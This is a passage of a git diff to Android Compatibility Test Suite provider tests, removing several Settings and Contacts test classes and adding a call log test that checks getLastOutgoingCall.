-            Settings.System.putInt(getInstrumentation().getContext().getContentResolver(),
-                    Settings.System.VIBRATE_WHEN_RINGING, anotherValue);
-            SystemUtil.runShellCommand(getInstrumentation(), "settings put system "
-                    +  Settings.System.VIBRATE_WHEN_RINGING + " " + initialValue);
-            Settings.System.putInt(getInstrumentation().getContext().getContentResolver(),
-                    Settings.System.VIBRATE_WHEN_RINGING, anotherValue);
-            Settings.System.getInt(getContext().getContentResolver(),
-                    Settings.System.VIBRATE_WHEN_RINGING);
-            SystemUtil.runShellCommand(getInstrumentation(), "settings put system "
-                    +  Settings.System.VIBRATE_WHEN_RINGING + " " + initialValue);
-
-            uriChangeCount.await(30000, TimeUnit.MILLISECONDS);
-
-            if (uriChangeCount.getCount() > 0) {
-                fail("Expected change not received for Uri: " + uri);
-            }
-        } finally {
-            Settings.System.putInt(getContext().getContentResolver(),
-                    Settings.System.VIBRATE_WHEN_RINGING, initialValue);
-            handlerThread.quit();
-        }
-    }
-
-    private Instrumentation getInstrumentation() {
-        return InstrumentationRegistry.getInstrumentation();
-    }
-
-    private Context getContext() {
-        return InstrumentationRegistry.getTargetContext();
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/Settings_NameValueTableTest.java b/tests/tests/provider/src/android/provider/cts/Settings_NameValueTableTest.java
deleted file mode 100644
index c39b927..0000000
--- a/tests/tests/provider/src/android/provider/cts/Settings_NameValueTableTest.java
+++ /dev/null
@@ -1,106 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-
-import android.content.ContentResolver;
-import android.database.Cursor;
-import android.net.Uri;
-import android.os.SystemClock;
-import android.provider.Settings;
-import android.provider.Settings.NameValueTable;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.AfterClass;
-import org.junit.BeforeClass;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(AndroidJUnit4.class)
-public class Settings_NameValueTableTest {
-    @BeforeClass
-    public static void setUp() throws Exception {
-        final String packageName = InstrumentationRegistry.getTargetContext().getPackageName();
-        InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
-                "appops set " + packageName + " android:write_settings allow");
-
-        // Wait a beat to persist the change
-        SystemClock.sleep(500);
-    }
-
-    @AfterClass
-    public static void tearDown() throws Exception {
-        final String packageName = InstrumentationRegistry.getTargetContext().getPackageName();
-        InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
-                "appops set " + packageName + " android:write_settings default");
-    }
-
-    @Test
-    public void testPutString() {
-        final ContentResolver cr = InstrumentationRegistry.getTargetContext().getContentResolver();
-
-        Uri uri = Settings.System.CONTENT_URI;
-        String name = Settings.System.NEXT_ALARM_FORMATTED;
-        String value = "value1";
-
-        // before putString
-        Cursor c = cr.query(uri, null, null, null, null);
-        try {
-            assertNotNull(c);
-            c.close();
-
-            MyNameValueTable.putString(cr, uri, name, value);
-            c = cr.query(uri, null, null, null, null);
-            assertNotNull(c);
-            c.close();
-
-            // query this row
-            String selection = NameValueTable.NAME + "=\"" + name + "\"";
-            c = cr.query(uri, null, selection, null, null);
-            assertNotNull(c);
-            assertEquals(1, c.getCount());
-            c.moveToFirst();
-            assertEquals(name, c.getString(c.getColumnIndexOrThrow(NameValueTable.NAME)));
-            assertEquals(value, c.getString(c.getColumnIndexOrThrow(NameValueTable.VALUE)));
-            c.close();
-        } finally {
-            // TODO should clean up more better
-            c.close();
-        }
-    }
-
-    @Test
-    public void testGetUriFor() {
-        Uri uri = Uri.parse("content://authority/path");
-        String name = "table";
-
-        Uri res = NameValueTable.getUriFor(uri, name);
-        assertNotNull(res);
-        assertEquals(Uri.withAppendedPath(uri, name), res);
-    }
-
-    private static class MyNameValueTable extends NameValueTable {
-        protected static boolean putString(ContentResolver resolver, Uri uri, String name,
-                String value) {
-            return NameValueTable.putString(resolver, uri, name, value);
-        }
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/Settings_SecureTest.java b/tests/tests/provider/src/android/provider/cts/Settings_SecureTest.java
deleted file mode 100644
index 6ba1126..0000000
--- a/tests/tests/provider/src/android/provider/cts/Settings_SecureTest.java
+++ /dev/null
@@ -1,208 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.fail;
-
-import android.content.ContentResolver;
-import android.database.Cursor;
-import android.net.Uri;
-import android.provider.Settings;
-import android.provider.Settings.Secure;
-import android.provider.Settings.SettingNotFoundException;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(AndroidJUnit4.class)
-public class Settings_SecureTest {
-
-    private static final String NO_SUCH_SETTING = "NoSuchSetting";
-
-    /**
-     * Setting that will have a string value to trigger SettingNotFoundException caused by
-     * NumberFormatExceptions for getInt, getFloat, and getLong.
-     */
-    private static final String STRING_VALUE_SETTING = Secure.ANDROID_ID;
-
-    private ContentResolver cr;
-
-    @Before
-    public void setUp() throws Exception {
-        cr = InstrumentationRegistry.getTargetContext().getContentResolver();
-        assertNotNull(cr);
-        assertSettingsForTests();
-    }
-
-    /** Check that the settings that will be used for testing have proper values. */
-    private void assertSettingsForTests() {
-        assertNull(Secure.getString(cr, NO_SUCH_SETTING));
-
-        String value = Secure.getString(cr, STRING_VALUE_SETTING);
-        assertNotNull(value);
-        try {
-            Integer.parseInt(value);
-            fail("Shouldn't be able to parse this setting's value for later tests.");
-        } catch (NumberFormatException expected) {
-        }
-    }
-
-    @Test
-    public void testGetDefaultValues() {
-        assertEquals(10, Secure.getInt(cr, "int", 10));
-        assertEquals(20, Secure.getLong(cr, "long", 20));
-        assertEquals(30.0f, Secure.getFloat(cr, "float", 30), 0.001);
-    }
-
-    @Test
-    public void testGetPutInt() {
-        assertNull(Secure.getString(cr, NO_SUCH_SETTING));
-
-        try {
-            Secure.putInt(cr, NO_SUCH_SETTING, -1);
-            fail("SecurityException should have been thrown!");
-        } catch (SecurityException expected) {
-        }
-
-        try {
-            Secure.getInt(cr, NO_SUCH_SETTING);
-            fail("SettingNotFoundException should have been thrown!");
-        } catch (SettingNotFoundException expected) {
-        }
-
-        try {
-            Secure.getInt(cr, STRING_VALUE_SETTING);
-            fail("SettingNotFoundException should have been thrown!");
-        } catch (SettingNotFoundException expected) {
-        }
-    }
-
-    @Test
-    public void testGetPutFloat() throws SettingNotFoundException {
-        assertNull(Secure.getString(cr, NO_SUCH_SETTING));
-
-        try {
-            Secure.putFloat(cr, NO_SUCH_SETTING, -1);
-            fail("SecurityException should have been thrown!");
-        } catch (SecurityException expected) {
-        }
-
-        try {
-            Secure.getFloat(cr, NO_SUCH_SETTING);
-            fail("SettingNotFoundException should have been thrown!");
-        } catch (SettingNotFoundException expected) {
-        }
-
-        try {
-            Secure.getFloat(cr, STRING_VALUE_SETTING);
-            fail("SettingNotFoundException should have been thrown!");
-        } catch (SettingNotFoundException expected) {
-        }
-    }
-
-    @Test
-    public void testGetPutLong() {
-        assertNull(Secure.getString(cr, NO_SUCH_SETTING));
-
-        try {
-            Secure.putLong(cr, NO_SUCH_SETTING, -1);
-            fail("SecurityException should have been thrown!");
-        } catch (SecurityException expected) {
-        }
-
-        try {
-            Secure.getLong(cr, NO_SUCH_SETTING);
-            fail("SettingNotFoundException should have been thrown!");
-        } catch (SettingNotFoundException expected) {
-        }
-
-        try {
-            Secure.getLong(cr, STRING_VALUE_SETTING);
-            fail("SettingNotFoundException should have been thrown!");
-        } catch (SettingNotFoundException expected) {
-        }
-    }
-
-    @Test
-    public void testGetPutString() {
-        assertNull(Secure.getString(cr, NO_SUCH_SETTING));
-
-        try {
-            Secure.putString(cr, NO_SUCH_SETTING, "-1");
-            fail("SecurityException should have been thrown!");
-        } catch (SecurityException expected) {
-        }
-
-        assertNotNull(Secure.getString(cr, STRING_VALUE_SETTING));
-
-        assertNull(Secure.getString(cr, NO_SUCH_SETTING));
-    }
-
-    @Test
-    public void testGetUriFor() {
-        String name = "table";
-
-        Uri uri = Secure.getUriFor(name);
-        assertNotNull(uri);
-        assertEquals(Uri.withAppendedPath(Secure.CONTENT_URI, name), uri);
-    }
-
-    @Test
-    public void testUnknownSourcesOnByDefault() throws SettingNotFoundException {
-        assertEquals("install_non_market_apps is deprecated. Should be set to 1 by default.",
-                1, Settings.Secure.getInt(cr, Settings.Global.INSTALL_NON_MARKET_APPS));
-    }
-
-    private static final String BLUETOOTH_MAC_ADDRESS_SETTING_NAME = "bluetooth_address";
-
-    /**
-     * Asserts that the secure setting containing the Android's Bluetooth MAC address is not
-     * available to non-privileged apps, such as the CTS test app in the context of which this test
-     * runs.
-     */
-    @Test
-    public void testBluetoothAddressNotAvailable() {
-        assertNull(Settings.Secure.getString(cr, BLUETOOTH_MAC_ADDRESS_SETTING_NAME));
-
-        // Assert this setting is not accessible when listing all settings
-        try (Cursor c = cr.query(Settings.Secure.CONTENT_URI, null, null, null, null)) {
-            while ((c != null) && (c.moveToNext())) {
-                String name = c.getString(1);
-                if (BLUETOOTH_MAC_ADDRESS_SETTING_NAME.equals(name)) {
-                    fail("Settings.Secure contains " + name + ": " + c.getString(2));
-                }
-            }
-        }
-
-        // Assert this setting is not accessible when listing this specific setting
-        Uri settingUri =
-                Settings.Secure.CONTENT_URI.buildUpon().appendPath("bluetooth_address").build();
-        try (Cursor c = cr.query(settingUri, null, null, null, null)) {
-            while ((c != null) && (c.moveToNext())) {
-                String name = c.getString(1);
-                fail("Settings.Secure contains " + name + ": " + c.getString(2));
-            }
-        }
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/Settings_SettingNotFoundExceptionTest.java b/tests/tests/provider/src/android/provider/cts/Settings_SettingNotFoundExceptionTest.java
deleted file mode 100644
index fd8a8b6..0000000
--- a/tests/tests/provider/src/android/provider/cts/Settings_SettingNotFoundExceptionTest.java
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import android.provider.Settings.SettingNotFoundException;
-
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(AndroidJUnit4.class)
-public class Settings_SettingNotFoundExceptionTest {
-    @Test
-    public void testConstructor() {
-        new SettingNotFoundException("Setting not found exception.");
-        new SettingNotFoundException(null);
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/Settings_SystemTest.java b/tests/tests/provider/src/android/provider/cts/Settings_SystemTest.java
deleted file mode 100644
index 583f337..0000000
--- a/tests/tests/provider/src/android/provider/cts/Settings_SystemTest.java
+++ /dev/null
@@ -1,147 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-
-import android.content.ContentResolver;
-import android.content.res.Configuration;
-import android.database.Cursor;
-import android.net.Uri;
-import android.os.SystemClock;
-import android.provider.Settings;
-import android.provider.Settings.SettingNotFoundException;
-import android.provider.Settings.System;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.AfterClass;
-import org.junit.BeforeClass;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(AndroidJUnit4.class)
-public class Settings_SystemTest {
-    private static final String INT_FIELD = Settings.System.SCREEN_BRIGHTNESS;
-    private static final String LONG_FIELD = Settings.System.SCREEN_OFF_TIMEOUT;
-    private static final String FLOAT_FIELD = Settings.System.FONT_SCALE;
-    private static final String STRING_FIELD = Settings.System.NEXT_ALARM_FORMATTED;
-
-    @BeforeClass
-    public static void setUp() throws Exception {
-        final String packageName = InstrumentationRegistry.getTargetContext().getPackageName();
-        InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
-                "appops set " + packageName + " android:write_settings allow");
-
-        // Wait a beat to persist the change
-        SystemClock.sleep(500);
-    }
-
-    @AfterClass
-    public static void tearDown() throws Exception {
-        final String packageName = InstrumentationRegistry.getTargetContext().getPackageName();
-        InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
-                "appops set " + packageName + " android:write_settings default");
-    }
-
-    @Test
-    public void testSystemSettings() throws SettingNotFoundException {
-        final ContentResolver cr = InstrumentationRegistry.getTargetContext().getContentResolver();
-
-        /**
-         * first query the exist settings in System table, and then insert five
-         * rows: an int, a long, a float, a String, and a ShowGTalkServiceStatus.
-         * Get these six rows to check whether insert succeeded and then delete them.
-         */
-
-        // first query exist rows
-        Cursor c = cr.query(System.CONTENT_URI, null, null, null, null);
-
-        // backup fontScale
-        Configuration cfg = new Configuration();
-        System.getConfiguration(cr, cfg);
-        float store = cfg.fontScale;
-
-        try {
-            assertNotNull(c);
-            c.close();
-
-            String stringValue = "cts";
-
-            // insert 4 rows, and update 1 rows
-            assertTrue(System.putInt(cr, INT_FIELD, 10));
-            assertTrue(System.putLong(cr, LONG_FIELD, 20l));
-            assertTrue(System.putFloat(cr, FLOAT_FIELD, 30.0f));
-            assertTrue(System.putString(cr, STRING_FIELD, stringValue));
-
-            c = cr.query(System.CONTENT_URI, null, null, null, null);
-            assertNotNull(c);
-            c.close();
-
-            // get these rows to assert
-            assertEquals(10, System.getInt(cr, INT_FIELD));
-            assertEquals(20l, System.getLong(cr, LONG_FIELD));
-            assertEquals(30.0f, System.getFloat(cr, FLOAT_FIELD), 0.001);
-
-            assertEquals(stringValue, System.getString(cr, STRING_FIELD));
-
-            c = cr.query(System.CONTENT_URI, null, null, null, null);
-            assertNotNull(c);
-
-            // update fontScale row
-            cfg = new Configuration();
-            cfg.fontScale = 1.2f;
-            assertTrue(System.putConfiguration(cr, cfg));
-
-            System.getConfiguration(cr, cfg);
-            assertEquals(1.2f, cfg.fontScale, 0.001);
-        } finally {
-            // TODO should clean up more better
-            c.close();
-
-            // restore the fontScale
-            try {
-                // Delay helps ActivityManager in completing its previous font-change processing.
-                Thread.sleep(1000);
-            } catch (Exception e){}
-
-            cfg.fontScale = store;
-            assertTrue(System.putConfiguration(cr, cfg));
-        }
-    }
-
-    @Test
-    public void testGetDefaultValues() {
-        final ContentResolver cr = InstrumentationRegistry.getTargetContext().getContentResolver();
-
-        assertEquals(10, System.getInt(cr, "int", 10));
-        assertEquals(20, System.getLong(cr, "long", 20l));
-        assertEquals(30.0f, System.getFloat(cr, "float", 30.0f), 0.001);
-    }
-
-    @Test
-    public void testGetUriFor() {
-        String name = "table";
-
-        Uri uri = System.getUriFor(name);
-        assertNotNull(uri);
-        assertEquals(Uri.withAppendedPath(System.CONTENT_URI, name), uri);
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/CallLogTest.java b/tests/tests/provider/src/android/provider/cts/contacts/CallLogTest.java
new file mode 100644
index 0000000..be71f6a
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/CallLogTest.java
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.provider.cts.contacts;
+
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.Context;
+import android.provider.CallLog;
+import android.test.InstrumentationTestCase;
+
+public class CallLogTest extends InstrumentationTestCase {
+
+    private static final String TEST_NUMBER = "5625698388";
+    private static final long CONTENT_RESOLVER_TIMEOUT_MS = 5000;
+
+    public void testGetLastOutgoingCall() {
+        // Clear call log and ensure there are no outgoing calls
+        Context context = getInstrumentation().getContext();
+        ContentResolver resolver = context.getContentResolver();
+        resolver.delete(CallLog.Calls.CONTENT_URI, null, null);
+
+        waitUntilConditionIsTrueOrTimeout(
+                new Condition() {
+                    @Override
+                    public Object expected() {
+                        return "";
+                    }
+
+                    @Override
+                    public Object actual() {
+                        return CallLog.Calls.getLastOutgoingCall(context);
+                    }
+                },
+                CONTENT_RESOLVER_TIMEOUT_MS,
+                "getLastOutgoingCall did not return empty after CallLog was cleared"
+        );
+
+        // Add a single call and verify it returns as last outgoing call
+        ContentValues values = new ContentValues();
+        values.put(CallLog.Calls.NUMBER, TEST_NUMBER);
+        values.put(CallLog.Calls.TYPE, Integer.valueOf(CallLog.Calls.OUTGOING_TYPE));
+        values.put(CallLog.Calls.DATE, Long.valueOf(0 /*start time*/));
+        values.put(CallLog.Calls.DURATION, Long.valueOf(5 /*call duration*/));
+
+        resolver.insert(CallLog.Calls.CONTENT_URI, values);
+
+        waitUntilConditionIsTrueOrTimeout(
+                new Condition() {
+                    @Override
+                    public Object expected() {
+                        return TEST_NUMBER;
+                    }
+
+                    @Override
+                    public Object actual() {
+                        return CallLog.Calls.getLastOutgoingCall(context);
+                    }
+                },
+                CONTENT_RESOLVER_TIMEOUT_MS,
+                "getLastOutgoingCall did not return " + TEST_NUMBER + " as expected"
+        );
+    }
+
+    private void waitUntilConditionIsTrueOrTimeout(Condition condition, long timeout,
+            String description) {
+        final long start = System.currentTimeMillis();
+        while (!condition.expected().equals(condition.actual())
+                && System.currentTimeMillis() - start < timeout) {
+            sleep(50);
+        }
+        assertEquals(description, condition.expected(), condition.actual());
+    }
+
+    protected interface Condition {
+        Object expected();
+        Object actual();
+    }
+
+    private void sleep(long ms) {
+        try {
+            Thread.sleep(ms);
+        } catch (InterruptedException e) {
+        }
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_ContactsTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_ContactsTest.java
deleted file mode 100644
index c9d1371..0000000
--- a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_ContactsTest.java
+++ /dev/null
@@ -1,343 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts.contacts;
-
-import android.content.ContentProviderClient;
-import android.content.ContentResolver;
-import android.content.ContentUris;
-import android.content.ContentValues;
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageManager;
-import android.content.pm.ResolveInfo;
-import android.net.Uri;
-import android.os.SystemClock;
-import android.provider.ContactsContract;
-import android.provider.ContactsContract.CommonDataKinds.StructuredName;
-import android.provider.ContactsContract.Contacts;
-import android.provider.ContactsContract.Directory;
-import android.provider.ContactsContract.RawContacts;
-import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestContact;
-import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestRawContact;
-import android.provider.cts.contacts.account.StaticAccountAuthenticator;
-import android.test.AndroidTestCase;
-
-import java.util.List;
-
-public class ContactsContract_ContactsTest extends AndroidTestCase {
-
-    private StaticAccountAuthenticator mAuthenticator;
-    private ContentResolver mResolver;
-    private ContactsContract_TestDataBuilder mBuilder;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mResolver = getContext().getContentResolver();
-        ContentProviderClient provider =
-                mResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
-        mBuilder = new ContactsContract_TestDataBuilder(provider);
-
-        mAuthenticator = new StaticAccountAuthenticator(getContext());
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-        mBuilder.cleanup();
-    }
-
-    public void testMarkAsContacted() throws Exception {
-        TestRawContact rawContact = mBuilder.newRawContact().insert().load();
-        TestContact contact = rawContact.getContact().load();
-
-        assertEquals(0, contact.getLong(Contacts.LAST_TIME_CONTACTED));
-        assertEquals(0, contact.getLong(Contacts.TIMES_CONTACTED));
-
-        assertEquals(0, rawContact.getLong(Contacts.LAST_TIME_CONTACTED));
-        assertEquals(0, rawContact.getLong(Contacts.TIMES_CONTACTED));
-
-        // Note we no longer support contact affinity as of Q, so times_contacted and
-        // last_time_contacted are always 0.
-
-        for (int i = 1; i < 10; i++) {
-            Contacts.markAsContacted(mResolver, contact.getId());
-            contact.load();
-            rawContact.load();
-
-            assertEquals(0, contact.getLong(Contacts.LAST_TIME_CONTACTED));
-            assertEquals("#" + i, 0, contact.getLong(Contacts.TIMES_CONTACTED));
-
-            assertEquals(0, rawContact.getLong(Contacts.LAST_TIME_CONTACTED));
-            assertEquals("#" + i, 0, rawContact.getLong(Contacts.TIMES_CONTACTED));
-        }
-    }
-
-    public void testContentUri() {
-        Context context = getContext();
-        PackageManager packageManager = context.getPackageManager();
-        Intent intent = new Intent(Intent.ACTION_VIEW, ContactsContract.Contacts.CONTENT_URI);
-        List<ResolveInfo> resolveInfos = packageManager.queryIntentActivities(intent, 0);
-        assertFalse("Device does not support the activity intent: " + intent,
-                resolveInfos.isEmpty());
-    }
-
-    public void testLookupUri() throws Exception {
-        TestRawContact rawContact = mBuilder.newRawContact().insert().load();
-        TestContact contact = rawContact.getContact().load();
-
-        Uri contactUri = contact.getUri();
-        long contactId = contact.getId();
-        String lookupKey = contact.getString(Contacts.LOOKUP_KEY);
-
-        Uri lookupUri = Contacts.getLookupUri(contactId, lookupKey);
-        assertEquals(ContentUris.withAppendedId(Uri.withAppendedPath(Contacts.CONTENT_LOOKUP_URI,
-                lookupKey), contactId), lookupUri);
-
-        Uri nullLookupUri = Contacts.getLookupUri(contactId, null);
-        assertNull(nullLookupUri);
-
-        Uri emptyLookupUri = Contacts.getLookupUri(contactId, "");
-        assertNull(emptyLookupUri);
-
-        Uri lookupUri2 = Contacts.getLookupUri(mResolver, contactUri);
-        assertEquals(lookupUri, lookupUri2);
-
-        Uri contactUri2 = Contacts.lookupContact(mResolver, lookupUri);
-        assertEquals(contactUri, contactUri2);
-    }
-
-    public void testInsert_isUnsupported() {
-        DatabaseAsserts.assertInsertIsUnsupported(mResolver, Contacts.CONTENT_URI);
-    }
-
-    public void testContactDelete_removesContactRecord() {
-        assertContactCreateDelete();
-    }
-
-    public void testContactDelete_hasDeleteLog() {
-        long start = System.currentTimeMillis();
-        DatabaseAsserts.ContactIdPair ids = assertContactCreateDelete();
-        DatabaseAsserts.assertHasDeleteLogGreaterThan(mResolver, ids.mContactId, start);
-
-        // Clean up. Must also remove raw contact.
-        RawContactUtil.delete(mResolver, ids.mRawContactId, true);
-    }
-
-    public void testContactDelete_marksRawContactsForDeletion() {
-        DatabaseAsserts.ContactIdPair ids = assertContactCreateDelete();
-
-        String[] projection = new String[] {
-                ContactsContract.RawContacts.DIRTY,
-                ContactsContract.RawContacts.DELETED
-        };
-        List<String[]> records = RawContactUtil.queryByContactId(mResolver, ids.mContactId,
-                projection);
-        for (String[] arr : records) {
-            assertEquals("1", arr[0]);
-            assertEquals("1", arr[1]);
-        }
-
-        // Clean up
-        RawContactUtil.delete(mResolver, ids.mRawContactId, true);
-    }
-
-    public void testContactUpdate_updatesContactUpdatedTimestamp() {
-        DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
-
-        long baseTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
-
-        ContentValues values = new ContentValues();
-        values.put(ContactsContract.Contacts.STARRED, 1);
-
-        SystemClock.sleep(1);
-        ContactUtil.update(mResolver, ids.mContactId, values);
-
-        long newTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
-        assertTrue(newTime > baseTime);
-
-        // Clean up
-        RawContactUtil.delete(mResolver, ids.mRawContactId, true);
-    }
-
-    /**
-     * Note we no longer support contact affinity as of Q, so times_contacted and
-     * last_time_contacted are always 0.
-     */
-    public void testContactUpdate_usageStats() throws Exception {
-        final TestRawContact rawContact = mBuilder.newRawContact().insert().load();
-        final TestContact contact = rawContact.getContact().load();
-
-        contact.load();
-        assertEquals(0L, contact.getLong(Contacts.TIMES_CONTACTED));
-        assertEquals(0L, contact.getLong(Contacts.LAST_TIME_CONTACTED));
-
-        final long now = System.currentTimeMillis();
-
-        ContentValues values = new ContentValues();
-        values.clear();
-        values.put(Contacts.TIMES_CONTACTED, 3);
-        values.put(Contacts.LAST_TIME_CONTACTED, now);
-        ContactUtil.update(mResolver, contact.getId(), values);
-
-        contact.load();
-        assertEquals(0, contact.getLong(Contacts.TIMES_CONTACTED));
-        assertEquals(0, contact.getLong(Contacts.LAST_TIME_CONTACTED));
-
-        // This is also the same as markAsContacted().
-        values.clear();
-        values.put(Contacts.LAST_TIME_CONTACTED, now);
-        ContactUtil.update(mResolver, contact.getId(), values);
-
-        contact.load();
-        assertEquals(0, contact.getLong(Contacts.TIMES_CONTACTED));
-        assertEquals(0, contact.getLong(Contacts.LAST_TIME_CONTACTED));
-
-        values.clear();
-        values.put(Contacts.TIMES_CONTACTED, 10);
-
-        ContactUtil.update(mResolver, contact.getId(), values);
-
-        contact.load();
-        assertEquals(0, contact.getLong(Contacts.TIMES_CONTACTED));
-        assertEquals(0, contact.getLong(Contacts.LAST_TIME_CONTACTED));
-    }
-
-    /**
-     * Make sure the rounded usage stats values are also what the callers would see in where
-     * clauses.
-     *
-     * This tests both contacts and raw_contacts.
-     */
-    public void testContactUpdateDelete_usageStats_visibilityInWhere() throws Exception {
-        final TestRawContact rawContact = mBuilder.newRawContact().insert().load();
-        final TestContact contact = rawContact.getContact().load();
-
-        // To make things more predictable, inline markAsContacted here with a known timestamp.
-        final long now = (System.currentTimeMillis() / 86400 * 86400) + 86400 * 5 + 123;
-
-        ContentValues values = new ContentValues();
-        values.put(Contacts.LAST_TIME_CONTACTED, now);
-
-        // This makes the internal TIMES_CONTACTED 35.  But the visible value is still 30.
-        for (int i = 0; i < 35; i++) {
-            ContactUtil.update(mResolver, contact.getId(), values);
-        }
-
-        contact.load();
-        rawContact.load();
-
-        assertEquals(0, contact.getLong(Contacts.LAST_TIME_CONTACTED));
-        assertEquals(0, contact.getLong(Contacts.TIMES_CONTACTED));
-
-        assertEquals(0, rawContact.getLong(Contacts.LAST_TIME_CONTACTED));
-        assertEquals(0, rawContact.getLong(Contacts.TIMES_CONTACTED));
-    }
-
-    public void testProjection() throws Exception {
-        final TestRawContact rawContact = mBuilder.newRawContact().insert().load();
-        rawContact.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
-                .with(StructuredName.GIVEN_NAME, "xxx")
-                .insert();
-
-        final TestContact contact = rawContact.getContact().load();
-        final long contactId = contact.getId();
-        final String lookupKey = contact.getString(Contacts.LOOKUP_KEY);
-
-        final String[] PROJECTION = new String[]{
-                Contacts._ID,
-                Contacts.DISPLAY_NAME,
-                Contacts.DISPLAY_NAME_PRIMARY,
-                Contacts.DISPLAY_NAME_ALTERNATIVE,
-                Contacts.DISPLAY_NAME_SOURCE,
-                Contacts.PHONETIC_NAME,
-                Contacts.PHONETIC_NAME_STYLE,
-                Contacts.SORT_KEY_PRIMARY,
-                Contacts.SORT_KEY_ALTERNATIVE,
-                Contacts.LAST_TIME_CONTACTED,
-                Contacts.TIMES_CONTACTED,
-                Contacts.STARRED,
-                Contacts.PINNED,
-                Contacts.IN_DEFAULT_DIRECTORY,
-                Contacts.IN_VISIBLE_GROUP,
-                Contacts.PHOTO_ID,
-                Contacts.PHOTO_FILE_ID,
-                Contacts.PHOTO_URI,
-                Contacts.PHOTO_THUMBNAIL_URI,
